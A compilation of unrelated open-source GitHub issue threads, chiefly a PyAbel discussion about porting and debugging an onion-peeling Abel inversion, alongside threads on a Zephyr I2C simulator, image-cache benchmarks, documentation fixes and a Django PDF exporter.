This has something to do with the val2 matrix, which has some dependence on the vertical coordinate. I think that the original authors are assuming VMI images, which have circular features...

@DanHickstein Great work for implementing this! We can add it under onion_peeling.py or something similar..
@stggh Nice comparison! The problem with iabel_direct is that it need an array on the interval [0, r] on the last axis, unlike HansenLaw that take in an array between [r, 0]. Here is the fixed example in a  gist. The results are very similar to HansenLaw & Basex although with a stronger amplification of the noise on the axis I think.

It is interesting  that Onion Peeling produces slightly different (smoother?) results as compared to other 3. For the speed well we can always spend time on optimizing this more if needed. Also, Matlab uses a JIT compiler (which would be similar to PyPy in Python), so I guess  it is normal that it is faster in some cases.
@DanHickstein Yes, but a "cylindrical Gaussian" does have a up/down symmetry so it should work both with transforms that have a spherical symmetry and those that do not, shouldn't it?

Excellent.  We should choose a common image/data orientation for (f/a)abel_xxx_transform().

@rth, good point about the JIT compiler! Once we have reliable results from the algorithm, we can try some tricks to speed it up.
And yes, you are right, it should work for a cylindrical gaussian. I am confused why it doesn't. I spent some time trying to figure this out last night, but I still don't quite understand what's going on. The matlab program produces the same result. I've pasted some example code below. The left and right sides of the image should be identical, but they are not.
Also, thanks for sending the link to the paper, it looks really cool, but might take me a few days to digest :).
@stggh, yes, we should chose a standard orientation for the (f/i)abel_xxx_transform() methods. It's not too important, since people will most likely be passing a whole image to the (f/i)abel_xxx() methods, but there is no reason why each "transform" method should not take a standard format. The current convention (taking the "left" side of the image), makes sense from an algorithmic viewpoint (i.e., many of the methods iterate from outside to inside), but I think that having r=0 at low index (i.e., taking the right side of the image) will make more sense to most users.
Code to test the onion peeling method with a "cylindrical gaussian" function:
import numpy as np
import matplotlib.pyplot as plt

def init_abel(xc,yc):
    val1 = np.zeros((xc+1, xc+1))
    val2 = np.zeros((xc+1, yc+1))

    for ii in range(0,xc+1):
        for jj in range(ii, xc+1):
            val1[ii,jj] = np.arcsin((ii+1)/float(jj+1))-np.arcsin((ii)/float(jj+1))

    for idist in range(0,xc+1):
        for jdist in range (0,yc+1):
            val2[idist,jdist] = np.sqrt((idist+1)**2+(jdist)**2)/(idist+1)

    return val1,val2

def iabel_onion_peeling(IM,sym_lr=False,sym_ud=False):
    # %%% Abel-inversion algorithm from: Rev. Sci. Instrum. 67, 2257 (1996).
    # %%% info about this implementation:  Rallis et al., Rev. Sci. Instrum. 85, 113105 (2014)

    # works only on the left side of an image.
    # i.e., for IM[i,j], the radial coordinate (r) increases with increasing j
    h,w = np.shape(IM)

    if w%2==1:  raise ValueError('Image width must be even')

    if np.any(IM<0):
        print 'Image cannot have negative values, setting negative values to zero'
        IM[IM<0] = 0

    # calculate val1 and val2: 2D arrays of what appear to be scaling factors
    val1,val2 = init_abel(w,h)

    abel_arr = IM*0    # initialize 2D array for final transform
    rest_arr = IM      # initialize 2D array that will be manipulated during the transform
    vect = np.zeros(h) # initialize a 1D array that is temorarily used to store scaling factors

    for col_index in range(0,w): # iterate over the columns (x-values) in the slice space
        idist = w - col_index # this is basically the x-coordinate. or "distance in i direction", I guess
        rest_col = rest_arr[:,col_index]  # a 1D column. This is the piece of the onion we are on.
        normfac  = 1 / val1[idist,idist]

        for i in range(0,idist)[::-1]:
            ic = w - i - 1
            rest_arr[:,ic] =  rest_arr[:,ic] - rest_col * normfac * val1[i,idist]
            rest_arr[:,ic][rest_arr[:,ic]<0] = 0

        for row_index in range(0,h): #for row_index =1:ymax
            jdist = h - row_index
            jdist = np.abs(h - row_index)
            vect[row_index] = val2[idist,jdist]

        abel_arr[:,col_index] = normfac * rest_col * vect.transpose()

    return abel_arr

r = np.linspace(-10,10,512)
height = 512
sigma  = 3
A0     = 1
orig =                          A0 * np.exp(-r**2/sigma**2)  # analytical gaussian
proj = sigma * np.sqrt(np.pi) * A0 * np.exp(-r**2/sigma**2) # analytical projection

PROJ = np.tile(proj, (height, 1))
ORIG = np.tile(orig, (height, 1))

h,w = np.shape(PROJ)
left = np.copy(PROJ[:,0:w/2])

result = iabel_onion_peeling(left)
ORIG[:,0:w/2] = result*0.05
plt.imshow(ORIG)
plt.show()

left is onion-peeling transform, right is analytical.

@rth  @DanHickstein  but I think that having r=0 at low index (i.e., taking the right side of the image) will make more sense to most users.   I agree. In particular, the anisotropy analysis (angular distribution) makes more sense when pictured using the top-right quadrant. I will make the change to the hansenlaw code.

@DanHickstein @rth regarding the Dasch 1992 paper linked above - I'm currently working on porting the 3-point-Abel inversion technique, developed in that paper, to Python. Students in Prof. Marshall Long's group here at Yale have been using a matlab implementation of that algorithm for quite some time, and I was independently interested in porting it to Python. There are a few typos and other issues in the original paper that need to be handled carefully, so I'll open a new issue to discuss those once the holidays are past.
Happy holidays to everyone!

@DhrubajyotiDas, Yes! That would be great to have an implementation of the 3-point Abel inversion. I keep seeing it discussed in old papers as being a good option, but I have not heard of it being used until now. Feel free to open a brief "placeholder" issue and add more details later.

Hey, I'm the author of that MatLab code.   I didn't realize this projected existed until now.  I spent a lot of time profiling/optimizing it in MatLab for MatLab.  It's not written how I would write it in C or Python.  If there's something I could help with, please let me know.

Hi @ChrisRallis, thanks for posting here!
Any help that you are willing to provide here would be much appreciated! (And I hope that it's okay with you that we have incorporated you code in this way - please let me know if you'd like to see it presented/acknowledged in a certain way.)
Currently, I am struggling to understand exactly how the code operates, and why the transforms that it produces look strange for the "gaussian rod" example posted above. Perhaps you can provide some insight into this. If that involves some changes/re-writes to the code to make it perform better in Python -all the better!

Our back-projection relies on the forward projection from an electrostatic lens that's used in a VMI setup.  I think this is why the result from the gaussian rod has a spherical result.  It's been a while since I read the Bordas RSI paper, but that thoroughly explains the algorithm and assumptions.

Yeah, I'm thinking that they are making some assumption specific to the VMI. The section where they discussthe reconstructions is titled: "III. IMAGE PROCESSING IN THE LIMIT OF LARGE
ENERGY RATIO"
In the limit of a large ratio between the extraction field and the electron KE, then I think that the VMI should just be an exact projection of the 3D image. Perhaps they are considering how the electrons are spreading out as they have higher momentum, and they are applying some Jacobian/correction factor due to this?
Yes, I think that this might be the case judging from the discussion on P2261:

Welcome Chris.
As you may see from this comparison (examples/example_all_O2.py), VMI of O2- photodetachment, that there is not too much wrong with onion_peeling method (as coded by @DanHickstein):

The abel/onion.py has been left behind in the PyAbel updates. I have hacked it slightly to work with the current PyAbel code see onion_peeling.py
import numpy as np
import abel
import abel.onion_peeling  # had to load directly
import matplotlib.pyplot as plt
IM = np.loadtxt("data/O2-ANU1024.txt.bz2")
Q = abel.tools.symmetry.get_image_quadrants(IM)
AOQ = abel.onion_peeling.onion_peeling_transform(Q[0])
#Warning: abel.onion_peeling_transform() is in early testing and may not produce reasonable results
Qspeed = abel.tools.vmi.angular_integration(AOQ,origin=(0,0))
plt.plot(*Qspeed)
plt.savefig("Onion.png",dpi=100)
plt.show()

@stggh, The problem that we are seeing with the onion peeling method is that the intensity as a function of y (the coordinate along the axis of symmetry) doesn't appear quite correct (well, maybe not incorrect, but not the same as the other transform methods.)
Can you remake the example to show just a comparison of onion with one other transform method? (Say, HansenLaw). I think that we will see a big difference in the 1D speeds distribution.

Such a comparison is given in the comparative image above, but here is the one-on-one on a larger scale. NB The image is even, and so not strictly centered, and the speed distributions are normalized.

If axis=0 has excess intensity, then it may be better to compare (axis=1) slice profiles. I will look at this.  My naive interpretation is that insufficient intensity is un-peeled, i.e. some of the background intensity remains.
The code:
# -*- coding: utf-8 -*-
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import numpy as np
import abel
import abel.onion_peeling  # had to load directly
import matplotlib.pyplot as plt

# NB this image is even and so not correctly centered
IM = np.loadtxt("data/O2-ANU1024.txt.bz2")

Q = abel.tools.symmetry.get_image_quadrants(IM)
Q0 = Q[0].copy()

iOnionQ0 = abel.onion_peeling.onion_peeling_transform(Q[0])
Qradial, Qspeed = abel.tools.vmi.angular_integration(iOnionQ0,origin=(0,0))

iHLQ0 = abel.hansenlaw.hansenlaw_transform(Q0)
HLradial, HLspeed = abel.tools.vmi.angular_integration(iHLQ0,origin=(0,0))

plt.plot(HLradial, HLspeed/HLspeed[50:].max(), label="hansen-law")
plt.plot(Qradial, Qspeed/Qspeed[50:].max(), label="onion_peeling")
plt.title("Full quadrant speed distributions, normalized")
plt.axis(xmin=50, xmax=450, ymin=-0.2, ymax=1.2)
plt.legend(loc=0)
plt.savefig("HL-Onion.png",dpi=100)
plt.show()

Here is a 10 row slice from the bottom of the transformed Q0 image quadrant (iHLQ0 and iOnionQ0).
There is still a substantial background. Beautiful noise characteristics though! @ChrisRallis

@stggh, We should not need to normalize the speed distributions between different transform methods if everything is working correctly. Those plots clearly show that there is disagreement between the two methods for the height of the peaks. The onion peeling contains some additional factor that makes the intensities lower at low y-values. The lack of noise at low radius is likely a result of this. (Though the noise looks low at higher values of radius as well, so the method still looks very promising.)

Sorry, I misinterpreted what you meant by y-values.  I think the loss off peak intensity may be another x r Jacobian factor. Of more concern to me is the extended tail (left side) for each band (transition) and the background. This looks similar to a speed distribution for raw projected image, rather than a transformed image.  You are right about there should be no need to normalize between transforms. I have not checked this fact in detail.

@stggh: I think the loss of peak intensity may be ... 1/r Jacobian factor.

We have a winner!!!  Dividing the intensity of the onion transform by 1/r provides reasonably results for the cylindrical gaussian example. Interestingly, if I just divide by r, where r = x**2 + y**2 and x and y run from 0->width or height, then there is still a small artifact near zero. However, if I make x and y start at 2, then everything works perfectly.
Here are the results for an upper-right quadrant of the gaussian-rod example:

Here is the code (sorry, legacy spaghetti code, but you can easily incorporate the 1/r factor into the updated code):
https://gist.github.com/DanHickstein/ddcd8168e2210422b8d7

@DanHickstein excellent work. I would not have thought to apply the 1/r factor to both axes.
Here is the test case that I re-ran, assuming I correctly coded the 1/R factor:

The transition (peak) intensities do indeed match. There remains a background intensity issue.
It would be better to apply the Jacobian at the correct place within the onion_peeling.py code. I am not sure where though ...
I looked through your python code last night. AFAICT it mirrors the original MATLAB code, using some clever python techniques. Impressive. One minor difference (that appears to be of little consequence) is line 85:
            val2[idist, jdist] = np.sqrt((idist+1)**2+(jdist+1)**2)/(idist+1)

cf MATLAB code line 14
 val2(idist,jdist)=sqrt(idist^2+(jdist-1)^2)/idist;

so I think the 2nd squared term should be jdist**2 i.e.
           val2[idist, jdist] = np.sqrt((idist+1)**2+jdist**2)/(idist+1)

(I am more awake now) The speed distribution may be corrected using the Jacobian 1/r.
I removed the tests in the onion code that keep the inversion positive. These may have related to conforming to integer image formats, a trap that the old basex.exe code had.  >=0 values give the impression of better noise, but this is an illusion.

I believe this is about as good as the onion code can give.

@stggh, that looks great!
At one point I tried running the onion peeling algorithm with an odd image size (remove the lines that throw the error) and it seemed to work fine. It would be good if it could work with odd image sizes, because then it would match the rest of the transform methods.
Can you try running with an odd-sized image and see how the result compares?
Also, we should time both the main function and the init_abel function. And see which one slows things down the most.
I'm busy for the next few days, so if you have time to make the PR for onion_peeling, please feel free to do so!

I was just looking at the even image limitation. It's also not required (there is not much onion code left ;-)). Here is the test case for the dribinski sample image (n=1000).

code:
# header stuff
:
IM = abel.tools.analytical.sample_image(n=1001)
fIM = abel.Transform(IM, direction="forward", method="hansenlaw").transform

Q = abel.tools.symmetry.get_image_quadrants(fIM)
Q0 = Q[0].copy()

iOnionQ0 = abel.onion_peeling.onion_peeling_transform(Q[0])

iHLQ0 = abel.hansenlaw.hansenlaw_transform(Q0)
HLradial, HLspeed = abel.tools.vmi.angular_integration(iHLQ0,origin=(0,0))

Qradial, Qspeed = abel.tools.vmi.angular_integration(iOnionQ0,origin=(0,0))
Qspeed[1:] /= Qradial[1:]
 :
# plot stuff

Boom! It works for odd images too! Well that's just great.
Sounds like PyAbel has gained a new transform method!
Can you still something at the top of onion_peeling.py to indicate that "This algorithm was adapted from the original Matlab implementation, which was created by Chris Rallis and Eric Wells of Augustana University." ...or, whatever acknowledgement that @ChrisRallis sees fit.

I added the edit (above) just as you messaged:

"I should qualify the odd/even. For an odd image, the quadrant Q0 is still even in width. Making IM odd in the O2- example, produces a very similar result to that given above."

I believe that the even image requirement may not be necessary.
I will add the attribution.
A good piece of work @DanHickstein

"I should qualify the odd/even. For an odd image, the quadrant Q0 is still even in width. Making IM odd in the O2- example, produces a very similar result to that given above."

I am confused - typically we split an odd image to yield an odd quadrant, since this is what our transform methods want. I am confused that you are saying it's even....
Onion_peeling seems to work for both even and odd quadrants, right?

@DanHickstein

one more Q concerning the installation setup.py script.

What must be added to make onion_peel available via abel. (sorry, about my terminology)?  At the moment it is not visible (on my systems) and may only be loaded via import abel.onion_peeling.

Yes, the onion_peeling appears to work for both even and odd sizes.

I was cursorily looking at shapes.  An odd image gets split into two even halves, with quadrants padded.  eg. w=3 gives two quadrants of size w=2.
The O2- VMI has shape (1024, 1024), after centering (1024, 1023), and quadrant (512, 512)
The n=1001 dribinski image has (1001, 1001), and quadrant (501, 501)
Hmm, the 501 size does not appear right ... I'll investigate.

@stggh

You just need add something like:

from . import onion_peeling

btw, are you sure we don't want to just call it "onion" or "op" to save some typing?

Wait a second, I thought that all of the transform methods demanded an odd-sized image, including HL. How is it running with an even-sized image?

We are exactly in typing phase, from above:

Note the odd-image width is only a requirement to have the grid-center mid pixel. Each quadrant meets this criteria, even though it is even in size.

Edit: Note the odd-image width is only a requirement to have the grid-center mid pixel. Each quadrant meets this criteria, even though it is even in size.

Ah, yes, you are right. Rookie mistake, sorry.
So, you may want to try comparing the OP method to HL (or analytical) with something that doesn't have very many pixels. Perhaps the gaussian analytical function. This should give us an idea if the method is designed to work with the center mid-pixel.

No worries. It is good that we think about these things.
I will first put together the onion.py (happy to drop the 'peeling') PR and then check the other aspects.

Awesome. I appreciate it!

@stggh added not one, but two onion peeling algorithms! Closing this issue in celebration :)


Breaking icestick with icestorm ?

On the icestorm official web page :
http://www.clifford.at/icestorm/
It's written that we can break our icestick with this project. Have you ever break an icestick or it's just a warning ?
Thanks

Its just a warning. I have never broken one and so far I have not heard from anyone who broke one. There is one anecdote, but it seems like it that case the serial flash on the icestick just died because it exceeded its number of write cycles.


Show only FontAwesome 4.7 icons

Hellow i set to iconset: "fontawesome4" but showing new icons like "fas fa-home" etc... How can I do show only fontawesome 4 icons?

I found this iconset: "fontawesome4", iconsetVersion: "4.7.0" set options.


out of date

[Enter feedback here]
no longer in date , please update page
you cannot create a policy without ad premium :(

Document details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 80005683-d3e5-aab5-2642-677a2ef96203
Version Independent ID: 6abac9a6-5472-62c3-5eae-fa39ecccd12e
Content: Enable Azure Multi-Factor Authentication
Content Source: articles/active-directory/authentication/tutorial-enable-azure-mfa.md
Service: active-directory
Sub-service: authentication
GitHub Login: @iainfoulds
Microsoft Alias: iainfou

@poshpaws Thanks for the feedback! We are currently investigating and will update you shortly.

Thanks! It does say in the prerequisites that a Premium license is required, but it links to a regular free trial so I made a pull request to update the language and link to the Premium free trial. https://github.com/MicrosoftDocs/azure-docs-pr/pull/120232


added proper 'recv' API

This time it was just a weird oversight, afaict. In other cases the var T is more efficient and can be turned into a proper result via sugar.dup


Extends the I2C slave interface to work on native_posix

This allows tests of the I2C middle layer and I2C drivers to be written for native_posix.
There is still a limitation of only one 'slave' device per controller. I plan to fix that later.

Regarding https://github.com/zephyrproject-rtos/zephyr/pull/26003#discussion_r458159336:
I've looked more closely.  The original test was horribly wrong, and probably didn't even pass on the STM32.  I had provided fixes for the key problems in https://github.com/pabigot/zephyr/commits/pr/26003, but it doesn't look like I was clear enough that you needed to incorporate them.
I've again reworked it to fix the problems, this time in https://github.com/pabigot/zephyr/commits/pr/26003b.  This branch includes #27029 which removes the potential of the comparison buffer being mutated.
The fundamental problem is that the original test was crossing the I2C bus for EP0 with the I2C register for EP1 and vice versa.  Unfortunately the comparison data was paired with the (wrong) register rather than the (right) bus.  Which is why it looked like things were getting crossed.
Please do look at that branch, and replace the commit you added to make it work with dcb869a44e1972023ea3db8b1 at the head of https://github.com/pabigot/zephyr/commits/pr/26003b.  I believe you'll find that this works.
As an aside; that this worked at all suggests the EEPROM simulator is broken: it should have refused to accept an I2C operation for an EEPROM that wasn't using the correct associated device.

OK, we're getting closer.  You can rebase this on master as #27029 has been merged.
I've got the original master version of the test running on the nucleo_l476rg, where it passes.  With the version in this PR it fails.  I believe this has to do with the swapped device/address issues in the original test.  I'm looking into what the "eeprom_slave" driver is doing.

Things are clearer now, but wow, this is messy.
First, I was wrong when I proposed changing the test so that the bus for EP0 was used for the I2C-based readback validation from the address for EP0.  The way this test works is with a loop-back where there are two controllers that share the SDA and SCL signals.  So when you're trying to read from EP0, you must issue the request using the controller for EP1 as the leader (master) because the controller for EP0 has to act as the follower (slave) to feed back the data.
I've replaced the content of the "tests: i2c: more test cleanup" commit to correct this: a comment has been expanded, the addr variable names got shortened, and the bus used in the I2C tests is always the one from the EEPROM that's not being checked.
I've also added a commit that adds support for an STM32 board I have.
I've verified that the board works correctly on real hardware with the test as it was before this PR, and with the modified PR in https://github.com/pabigot/zephyr/commits/pr/26003c.  You can take that branch as-is (it's rebased), or just drop the top commit from yours and add the top two commits dff0aa5a225092db85cc502f39c3718a7b50d923 and 88771b4ba3b18ec1e2d6373174f41ad9284bb13d from mine (and then rebase to get the #27029).
Now the problem: The test doesn't work on native posix.  That's because the simulator is incorrectly implemented.
The data in the eeprom_slave instance is associated with the I2C device that controls the bus it's attached to.  Thus EP0 is a device at addr_0 on i2c_0.  i2c_0 is the bus leader (master) for access to the device.
For the test to work the two controllers share the I2C signals, but you can't access EP0 as a follower (slave) device on i2c_0: you have to access it at addr_0 on the bus using i2c_1 as the leader (master).  i2c_0 then responds to those requests as a follower (slave) device.
In the test checking EP0 reads back correctly the bus transaction is controlled using i2c_1.  But the data that must be returned is associated with a device that is registered under i2c_0.
In real hardware the hand-off occurs because signals are shorted so a bus read issued on i2c_1 is fulfilled by a write from i2c_0.
The simulator doesn't know anything about any other devices, so it's returning the data from the device it knows about, which is the wrong EEPROM.  I.e. you're using the slave_cfg data attached to i2c_1 to provide the data, when you need to be using the slave_cfg data attached to i2c_0.
To make the simulator work you're going to need some way to indicate that i2c_0 and i2c_1 share bus signals.  Then when you're given a leader operation (write or read) to perform on one controller you need to search for a linked controller that has a registered follower device at the given address, and issue the complementary operation (read or write) on the linked controller.  Just like real hardware would do.
Making this work is not trivial.  An approach I think is feasible is to add a new devicetree compatible that identifies a set of zephyr,sim-i2c devices that share control signals.  A devicetree node for this would look like:
shared_i2c {
	compatible = "zephyr,sim-i2c-link";
	members = <&i2c1, &i2c2>;
};

Then the i2c_sim.c driver will have to populate an array recording the linked controllers, and each controller will have to have a pointer to that array.  (I think it's OK to assume there's only one set of linked controllers, i.e. only one instance of zephyr,sim-i2c-link, so you can just have a local array in the driver module.)
Then you'll need to implement the transfer operations to do a hand-off to the other controller as described above.  It may be easier to understand by implementing the finer-grained read and write request and completion functions, where the hand-off is more easily tracked.
I recognize this is probably badly explained, but I hope I've gotten the general idea across.  Drawing an object relationship diagram of the shared bus and the two EEPROM devices accessed as either leader (master) or follower (slave) and which bus device knows where the simulated data is stored might help if it's not clear why the current implementation is wrong.
Please let me know if you have questions.  If necessary we can schedule a telecon to work through it.

Hi Peter,
Thanks for the details. I had not picked up on the fact that the current tests used a loop-back. Is that a hardware loopback (physically connecting pins) or does the chip support this?
In any case, for posix, I don't want to have two I2C buses connected together. I don't see any point in doing that. Instead, I want to model the I2C peripherals connected to the bus. So I can set up the peripheral and check its behaviour over I2C.
I designed a similar setup in U-Boot and it works well for posix tests (U-Boot calls this 'sandbox'). I'm happy to talk about all this if it suits you.

Simon

I'm not sure how the test was supposed to work.  There's this I2C_VIRTUAL feature that's default-enabled for the test, but disabled in every actual board configuration supported by the test.  The test works on real hardware only when SDA and SCL for two hardware I2C controllers are shorted; this is regardless of whether CONFIG_I2C_VIRTUAL=y.  Swapping the controller devices as you needed to do for the simulator doesn't work with virtual either.
A cursory look suggests what i2c_virtual does is what I was saying needed to be done: provide a way that an operation driven by a leader-mode I2C controller can be associated with something that reacts like an I2C follower.  Perhaps @superna9999 can provide more insight on what that was intended to do and how it was to be used when introduced in 94d3156540d27392236044eebcb4c3a6e6065185.
In any case, if the simulator implemented here requires the test code be changed to pass wrong I2C controller in order to access the simulated subordinate device's data and make the test pass, it's not clear to me how this helps generally.

Gosh this really is a bit of a mess. If we don't think the existing code works, should we delete it?
I've pushed this again with what I think is what you intended. Github doesn't seem to have support for comparing patch revisions though, so it is hard for me to know. If there is something wrong, a fix-up patch on top would be best I think.
Anyway I hope you understand what I am trying to do. Yes there are two I2C buses, but on posix they are independent and not tied together, or at least that is what I intend. I saw the existing 'slave' interface and thought I should try to use it, but perhaps that was a mistake?
I'm really looking forward to making some progress here as so much is blocked on this. This pull request is the most basic infrastructure to make things work, with just a single call.

I've pushed a fixup commit to https://github.com/pabigot/zephyr/commits/pr/26003d that adds the documentation of what's going on and fixes the parameters so the test passes on hardware.
I do think this is not the best starting point.  I'll reach out to you via slack to coordinate a plan.

Thanks Peter for the valuable help and guidance,
I have updated the pull request to drop the posix implementation for now. Hopefully the remaining commits are useful to move things forward.
I'll do a separate pull request with a proposal 'v2' implementation as we discussed, once I get to it.
Regards,
Simon

The QA check failure is in one of my commits.
This PR no longer has the material described in its summary.  I would like to see the remainder split into two PRs: one for the I2C common module, which I'd prefer to leave to @sjg20 to push forward, and one for the cleanup of the test case and its documentation, which needs some significant revisions since we now understand what it does better and the documentation doesn't really address how to use it properly.
For the latter the changes I'd like to see are significant, and I won't know exactly what they are until I've made and verified them.
@sjg20 There are several ways forward per the modifying contributions.  One is that I and others continue to ask you to make changes to these commits, with your branch remaining its home.  Another is that you close this PR (which no longer does what it was originally described to do).  You can open a PR for the I2C common module, and I'll open a PR for the test case cleanup, which would incorporate material from your commits as well as mine.  I'd ask you to be a reviewer for the latter.
Let me know how you want to proceed.

Uh-oh - I didn't realize that this PR ran off the rails. I'm actively looking to use / create an i2c simulator for automated testing (and also a spi simulator). If I can be of any assistance, please let me know.

So this test now only works on native_posix, and no longer will run on hardware?

No.  It was originally modified to also work on native_posix using a simulator; that didn't end up working, so when the dust settles the test will (again) work on real hardware.  It'll also be better documented so people can figure out how to make it work on real hardware.

OK I think it is best to do option 2. I've opened a new pull request here:
https://github.com/zephyrproject-rtos/zephyr/pull/27270
I'll try to keep an eye out for your one. In the meantime I'll work on a new i2c simulator as we discussed
@cfriedt hoping to have something by end of Monday


doc: Remove all the green checkmark ✔ in the Content column

Remove all the green checkmark ✔ in the Content column as below:

Full README.md file could be found at: https://github.com/tungbq/devops-basic/blob/main/README.md

Hello, I’m interested in working on this issue 😊. Is it still available? If so, could you please assign it to me 🙋♂ and   Thank you  🙏.

Sure! Thank you so much @dcompanykrish

🙋♂ I'm excited to see this PR merged. It will make the README.md file much cleaner and easier to read.


Pasted text evaluated via shell

Abstract
When pasting text  sometimes  you want it to be evaluated via shell immediately, for example you cat readme file and want to run something that you select there. To do this now you need to paste selection and then press enter
Specification
Add argument for PasteSelection action, named execute  so you can configure whether to run selected command
then key mapping entry can look like
    - { mods: [], mouse: Middle,  action: PasteSelection, mode: 'Insert', execute: 'true' }

At first I wanted to propose to extend SendChars action isntead, by allowing it to also send the clipboard (in a variable substitution format like syntax) plus a final linefeed like \n). But I think SendChars should not issue bracketed paste (as it's not doing right now, but should then, if clipboard is involved).
Maybe the solution would. be to rename your suggestion a bit. execute sounds misleading. All it would do is to append a linefeed. 🤔 (thinking out loud here)


[BC] Periodicity

This PR does not make any modification inside pyleecan.
There is only a correction of test_FEMM_periodicity to reduce calculation time and "make it work".
Related to #301 .

Thank you for your contribution :)


Reduce overhead from PINCache

Especially for slower devices, the file system shuffling and the metadata loading can be really expensive.
To investigate the option of using NSURLCache as a disk cache, I created a sample app based on Texture. It shows 1000 images and you can autoscroll to the bottom on a timer.
In summary, total CPU time of the app on my iPhone 7, verified across multiple runs amounted to:
Total CPU time:
PINCache, cold: 58.25s
PINCache, warm: 58.77s
URLCache, cold: 52.14s
URLCache, warm: 48.75s

Filtered CPU time

Searching for "PINDiskCache":
PINCache, cold: 5.25s
PINCache, warm: 5.37s

Searching for "CFURLCache", since searching for NSURLCache gets you few results due to asynchronous architecture of CFURLCache:
URLCache, cold: 1.78s
URLCache, warm: 1.65s

My internet connection was fast enough that progressive images were not rendered, but a more fair test would turn it off explicitly. There's other overhead inside PINRemoteImage too, due to its support for concurrent requests to the same URL, and GIF and stuff, but even still this difference is whopping.
Video, trace files, and source code are here: https://www.dropbox.com/s/2ay0mgtg8cm5pq0/PINCache vs URLCache.zip
Info about NSURLCache

It's a wrapper for CFURLCache (private, C++ based) and it uses a sqlite3 database under the hood. It generates an internal key for each URL request.
It doesn't support "read from memory cache only."
Its memory cache doesn't store UIImage objects, only NSDatas so we may have to keep some kind of NSData -> UIImage map to get the most out of the memory cache since UIImage creation and destruction are both expensive.
It supports cache control headers so we get TTL and whatnot.

An alternative
https://github.com/ibireme/YYCache is a multilevel cache that claims to be lightning fast.

No support for cache control.
Open source (good).
Not tested for years by Apple (bad).

The next step I think is to drop YYCache into my sample project and see how it performs. Performance shouldn't be the only consideration here but the cost/benefit of finding that out is pretty good here.
After that, whichever approach we choose, I think should live in a branch as a runtime option PINRemoteImage and we can target that branch. It can be hacky as long as it's well-gated and the hacks aren't so bad that we'll have to completely rewrite it to productionize it. That way we can do A/B tests in prod to see how each approach performs. cc @garrettmoon @appleguy @maicki @nguyenhuy

Wow YYCache data is in.
Total CPU time:
PINCache, cold: 58.25s
PINCache, warm: 58.77s
URLCache, cold: 52.14s
URLCache, warm: 48.75s
YYCache, cold: 43.62s
YYCache, warm: 43.22s

We have a clear winner! @ibireme has been super great to us in the past and he delivers again with this awesome library.

That's pretty damn impressive on YYCache!! I wonder though, if it's easy to drop in NSURLCache, that might be the way to go as it has cache-control support out of the box. Upgrading to YYCache would be a sane thing to do, though it sounds like quite a bit of extra work to implement the cache-control semantics...and indeed that might be one of the reasons for the performance delta.

Agreed, the binary size and the flexibility benefits are nice. Since we have need for the cache control support I'll go that route.

https://github.com/pinterest/PINRemoteImage/pull/477 is a tiny change that should help with allowing one to configure a NSURLCache via NSURLSession, and, if they also want, to disable PINCache altogether.


Update official documentation

Currently I can't seem to find a way to make ProgressBar print to a generic std::io::Write, which would be really helpful for generic code.
That would also require the ability to set ProgressBar's width manually.
I couldn't find the aforementioned feature because the official docs are outdated.

Done; thanks @nabijaczleweli

:+1:


Document how to debug the extension and see its communication with lfortran

When something doesn't work, it would be nice to see what exact lfortran command line was executed, so that one can determine if this is a bug in lfortran, or in lfortran-lsp and then go from there.
Document in README how to see these logs.

The README has been updated to describe how to configure logging as part of https://github.com/lfortran/lfortran-lsp/pull/29: https://lfortran.github.io/lfortran-lsp/


Integration

Isn't it to integrate in android own application? I download the complete project and it run smoothly, but when I tried to integrate in my application its giving me error
ERROR:  android.view.InflateException: Binary XML file line #10: Binary XML file line #10: Error inflating class gr.escsoft.michaelprimez.searchablespinner.SearchableSpinner
However in my xml file on line number 10  this opening tag is there
10: <gr.escsoft.michaelprimez.searchablespinner.SearchableSpinner
plz tell how I can solve this

Hi @FareehaRqzaq thanks for the issue and sorry for the latte response. Can you please tell me what base app theme do you use in the styles.xml?


Added All Current Merged Authors

Associated Issue: #41
Added all current merged authors:

tfrommen
zilyck
karate
slimjoeX
wuelcas
cercei
juanferrgiraldo
Aguardientico
Metcoder95
I-am-me
AkdM
VivekMolkar
Bak-JH
m4rx
mahval
jotkate
oskarwojciski
OlegFilonchuk
vr1e
rcjavier
molcay
igavelyuk
linj2015
jerry855202

If there's any I have missed please do tell me.

Thanks @Dragomegak !


Add pdf export capability using xhtml2pdf

Add an extra exporter (PDF) using xhtml2pdf and reportlab.  Uses the exporer/pdf_template.html as a template for the pdf table, you can override it in your own apps to add (for example) page numbers, extra fonts, change page layout etc. Should fix #207.

Added a test which passes. The failing travis-ci is because of djcelery, I'm not sure why. I have commented out djcelery references from test_project/settings.py and everything seems to work.

Celery just got upgraded to version 4.0, which moved the timeutils module. I don't think we're pinning the Celery version. We'll need to pin it to 3.x until djcelery gets updated to support Celery 4. http://docs.celeryproject.org/en/latest/whatsnew-4.0.html#changes-to-internal-api

@grantmcconnaughey cool! However, since this is not really related to the PR I propose to push this change (pinning djcelery version) to master through a different PR and I will then re-merge master to my pdf-export branch.
Thanks!

@spapas pinned! Feel free rebase from master

It seems that django-xhtml2pdf does not support python 3, as per https://github.com/xhtml2pdf/xhtml2pdf/issues/190
How could we proceed with this ?

I'm OK with the idea of feature-detecting py2 vs. py3 and only executing the tests, and including the exporter, if it's py2. Please just update the readme to reflect that. Sound like the right approach to you?

@chrisclark yes that's great thanks! I'll update the PR soon.

Took at a look at the PR. It's generally fine...but it gives me some anxiety that xhtml2pdf is an abandoned project, and the django integration is 4+ years old without any maintenance. The xhtml2pdf project recommends using weasyprint, which looks incredibly simple, has fewer dependencies, and supports Python3. The exporter would just be something like:
from django.template.loader import render_to_string
output = BytesIO()
ctx = {
    'headers': res.header_strings,
    'data': res.data,
}
html = weasyprint.HTML(string=render_to_string('explorer/pdf_template.html', ctx)
html.write_pdf(target=output)
return output

If you're up for doing it WeasyPrint, I'll merge in a heartbeat. If not, I get it, and I would reluctantly accept this PR since it's clear people need it, but I'd open an issue to replace with WeasyPrint as soon as someone can find the time.
Would love to hear feedback from others as well.

Hello @chrisclark, first of all, xhtml2pdf is not an abandoned project, there is an effort of adding python 3 support to it. Also, the django-xhtml2pdf is just a single view with 10 lines (integrate django templates with xhtml2pdf) that's why it doesn't actually need any updates.
Both xhtml2pdf  and django-xhtml2pdf work fine with all my (django 1.10) projects.
Now, for weasyprint. I am aware of that project but I don't use it since it is really difficult (if possible at allo) installing it on windows and I am using windows as my dev machine.
